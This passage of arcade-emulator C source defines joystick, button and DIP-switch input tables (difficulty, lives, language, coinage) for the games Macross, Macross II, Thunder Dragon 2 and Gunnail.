IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) // "Fire" PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) // "Bomb" PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x0002, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x000c, 0x000c, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,5") PORT_DIPSETTING( 0x0004, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x000c, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0008, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x0010, 0x0010, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:4") PORT_DIPSETTING( 0x0010, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0020, 0x0020, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:3") PORT_DIPSETTING( 0x0020, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x00c0, 0x00c0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x0000, "1" ) PORT_DIPSETTING( 0x0040, "2" ) PORT_DIPSETTING( 0x00c0, "3" ) PORT_DIPSETTING( 0x0080, "4" ) PORT_DIPNAME( 0x0100, 0x0100, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x0100, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0200, 0x0200, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0200, DEF_STR( On ) ) PORT_DIPNAME( 0x0400, 0x0400, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:6") PORT_DIPSETTING( 0x0400, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0800, 0x0800, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:5") PORT_DIPSETTING( 0x0800, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x1000, 0x1000, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:4") PORT_DIPSETTING( 0x1000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0xe000, 0xe000, DEF_STR( Coinage ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x2000, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0xa000, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x6000, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0xe000, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0xc000, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x4000, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x8000, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) INPUT_PORTS_END static INPUT_PORTS_START( macross ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_SERVICE_DIPLOC( 0x01, IP_ACTIVE_LOW, "SW1:8" ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x02, DEF_STR( On ) ) PORT_DIPNAME( 0x04, 0x04, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:6") PORT_DIPSETTING( 0x04, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x08, 0x00, DEF_STR( Language ) ) PORT_DIPLOCATION("SW1:5") PORT_DIPSETTING( 0x00, DEF_STR( English ) ) PORT_DIPSETTING( 0x08, DEF_STR( Japanese ) ) PORT_DIPNAME( 0x30, 0x30, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:4,3") PORT_DIPSETTING( 0x10, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x30, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x20, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x00, DEF_STR( Hardest ) ) PORT_DIPNAME( 0xc0, 0xc0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x00, "1" ) PORT_DIPSETTING( 0x40, "2" ) PORT_DIPSETTING( 0xc0, "3" ) PORT_DIPSETTING( 0x80, "4" ) PORT_START("DSW2") PORT_DIPNAME( 0x0f, 0x0f, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:8,7,6,5") PORT_DIPSETTING( 0x04, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0a, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x01, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x00, DEF_STR( 5C_3C ) ) PORT_DIPSETTING( 0x02, DEF_STR( 3C_2C ) ) PORT_DIPSETTING( 0x08, DEF_STR( 4C_3C ) ) PORT_DIPSETTING( 0x0f, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0c, DEF_STR( 3C_4C ) ) PORT_DIPSETTING( 0x0e, DEF_STR( 2C_3C ) ) PORT_DIPSETTING( 0x07, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x06, DEF_STR( 2C_5C ) ) PORT_DIPSETTING( 0x0b, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x03, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0d, DEF_STR( 1C_5C ) ) PORT_DIPSETTING( 0x05, DEF_STR( 1C_6C ) ) PORT_DIPSETTING( 0x09, DEF_STR( 1C_7C ) ) PORT_DIPNAME( 0xf0, 0xf0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:4,3,2,1") PORT_DIPSETTING( 0x40, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0xa0, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x10, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x20, DEF_STR( 3C_2C ) ) PORT_DIPSETTING( 0x80, DEF_STR( 4C_3C ) ) PORT_DIPSETTING( 0xf0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0xc0, DEF_STR( 3C_4C ) ) PORT_DIPSETTING( 0xe0, DEF_STR( 2C_3C ) ) PORT_DIPSETTING( 0x70, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x60, DEF_STR( 2C_5C ) ) PORT_DIPSETTING( 0xb0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x30, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0xd0, DEF_STR( 1C_5C ) ) PORT_DIPSETTING( 0x50, DEF_STR( 1C_6C ) ) PORT_DIPSETTING( 0x90, DEF_STR( 1C_7C ) ) PORT_DIPSETTING( 0x00, DEF_STR( Free_Play ) ) INPUT_PORTS_END static INPUT_PORTS_START( macross2 ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_SERVICE_DIPLOC( 0x01, IP_ACTIVE_LOW, "SW1:8" ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x02, DEF_STR( On ) ) PORT_DIPNAME( 0x04, 0x04, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:6") PORT_DIPSETTING( 0x04, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x08, 0x00, DEF_STR( Language ) ) PORT_DIPLOCATION("SW1:5") PORT_DIPSETTING( 0x00, DEF_STR( English ) ) PORT_DIPSETTING( 0x08, DEF_STR( Japanese ) ) PORT_DIPNAME( 0x30, 0x30, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:4,3") // Initial points needed for 1st Stage Clear PORT_DIPSETTING( 0x10, DEF_STR( Easy ) ) // 100,000 PORT_DIPSETTING( 0x30, DEF_STR( Normal ) ) // 150,000 PORT_DIPSETTING( 0x20, DEF_STR( Hard ) ) // 200,000 PORT_DIPSETTING( 0x00, DEF_STR( Hardest ) ) // 250,000 PORT_DIPNAME( 0x40, 0x40, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:2") PORT_DIPSETTING( 0x40, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x80, 0x80, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:1") PORT_DIPSETTING( 0x80, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_START("DSW2") PORT_DIPNAME( 0x0f, 0x0f, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:8,7,6,5") PORT_DIPSETTING( 0x04, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0a, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x01, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x00, DEF_STR( 5C_3C ) ) PORT_DIPSETTING( 0x02, DEF_STR( 3C_2C ) ) PORT_DIPSETTING( 0x08, DEF_STR( 4C_3C ) ) PORT_DIPSETTING( 0x0f, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0c, DEF_STR( 3C_4C ) ) PORT_DIPSETTING( 0x0e, DEF_STR( 2C_3C ) ) PORT_DIPSETTING( 0x07, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x06, DEF_STR( 2C_5C ) ) PORT_DIPSETTING( 0x0b, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x03, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0d, DEF_STR( 1C_5C ) ) PORT_DIPSETTING( 0x05, DEF_STR( 1C_6C ) ) PORT_DIPSETTING( 0x09, DEF_STR( 1C_7C ) ) PORT_DIPNAME( 0xf0, 0xf0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:4,3,2,1") PORT_DIPSETTING( 0x40, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0xa0, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x10, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x20, DEF_STR( 3C_2C ) ) PORT_DIPSETTING( 0x80, DEF_STR( 4C_3C ) ) PORT_DIPSETTING( 0xf0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0xc0, DEF_STR( 3C_4C ) ) PORT_DIPSETTING( 0xe0, DEF_STR( 2C_3C ) ) PORT_DIPSETTING( 0x70, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x60, DEF_STR( 2C_5C ) ) PORT_DIPSETTING( 0xb0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x30, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0xd0, DEF_STR( 1C_5C ) ) PORT_DIPSETTING( 0x50, DEF_STR( 1C_6C ) ) PORT_DIPSETTING( 0x90, DEF_STR( 1C_7C ) ) PORT_DIPSETTING( 0x00, DEF_STR( Free_Play ) ) INPUT_PORTS_END static INPUT_PORTS_START( tdragon2 ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_BUTTON3 ) PORT_PLAYER(1) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_BUTTON3 ) PORT_PLAYER(2) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_SERVICE_DIPLOC( 0x01, IP_ACTIVE_LOW, "SW1:8" ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x02, DEF_STR( On ) ) PORT_DIPNAME( 0x04, 0x04, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:6") PORT_DIPSETTING( 0x04, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x08, 0x00, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:5") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x00, DEF_STR( Off) ) PORT_DIPSETTING( 0x08, DEF_STR( On ) ) PORT_DIPNAME( 0x30, 0x30, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:3,4") PORT_DIPSETTING( 0x10, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x30, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x20, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x00, DEF_STR( Hardest ) ) PORT_DIPNAME( 0xc0, 0xc0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:1,2") PORT_DIPSETTING( 0x00, "1" ) PORT_DIPSETTING( 0x40, "2" ) PORT_DIPSETTING( 0xc0, "3" ) PORT_DIPSETTING( 0x80, "4" ) PORT_START("DSW2") PORT_DIPNAME( 0x0f, 0x0f, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:8,7,6,5") PORT_DIPSETTING( 0x04, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0a, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x01, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x00, DEF_STR( 5C_3C ) ) PORT_DIPSETTING( 0x02, DEF_STR( 3C_2C ) ) PORT_DIPSETTING( 0x08, DEF_STR( 4C_3C ) ) PORT_DIPSETTING( 0x0f, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0c, DEF_STR( 3C_4C ) ) PORT_DIPSETTING( 0x0e, DEF_STR( 2C_3C ) ) PORT_DIPSETTING( 0x07, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x06, DEF_STR( 2C_5C ) ) PORT_DIPSETTING( 0x0b, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x03, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0d, DEF_STR( 1C_5C ) ) PORT_DIPSETTING( 0x05, DEF_STR( 1C_6C ) ) PORT_DIPSETTING( 0x09, DEF_STR( 1C_7C ) ) PORT_DIPNAME( 0xf0, 0xf0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:4,3,2,1") PORT_DIPSETTING( 0x40, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0xa0, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x10, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x20, DEF_STR( 3C_2C ) ) PORT_DIPSETTING( 0x80, DEF_STR( 4C_3C ) ) PORT_DIPSETTING( 0xf0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0xc0, DEF_STR( 3C_4C ) ) PORT_DIPSETTING( 0xe0, DEF_STR( 2C_3C ) ) PORT_DIPSETTING( 0x70, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x60, DEF_STR( 2C_5C ) ) PORT_DIPSETTING( 0xb0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x30, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0xd0, DEF_STR( 1C_5C ) ) PORT_DIPSETTING( 0x50, DEF_STR( 1C_6C ) ) PORT_DIPSETTING( 0x90, DEF_STR( 1C_7C ) ) PORT_DIPSETTING( 0x00, DEF_STR( Free_Play ) ) INPUT_PORTS_END static INPUT_PORTS_START( gunnail ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x01, 0x01, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x01, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x02, 0x00, DEF_STR( Language ) ) PORT_DIPLOCATION("SW1:7") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x02, DEF_STR( Japanese ) ) // Will add "Distributed by TECMO" to the title screen PORT_DIPSETTING( 0x00, DEF_STR( English ) ) PORT_DIPNAME( 0x0c, 0x0c, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,5") PORT_DIPSETTING( 0x08, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x0c, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x04, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x00, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x10, 0x10, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:4") // The manual states dips 1-4 are "Unused" PORT_DIPSETTING( 0x10, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x20, 0x20, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:3") PORT_DIPSETTING( 0x20, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x40, 0x40, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:2") PORT_DIPSETTING( 0x40, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x80, 0x80, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:1") PORT_DIPSETTING( 0x80, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_START("DSW2") PORT_DIPNAME( 0x01, 0x01, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:8") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x01, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x02, DEF_STR( On ) ) PORT_DIPNAME( 0x1c, 0x1c, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:6,5,4") PORT_DIPSETTING( 0x10, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x08, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x18, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x1c, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0c, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x14, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x04, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x00, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0xe0, 0xe0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x80, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x40, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0xc0, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0xe0, DEF_STR( 1C_1C ) ) 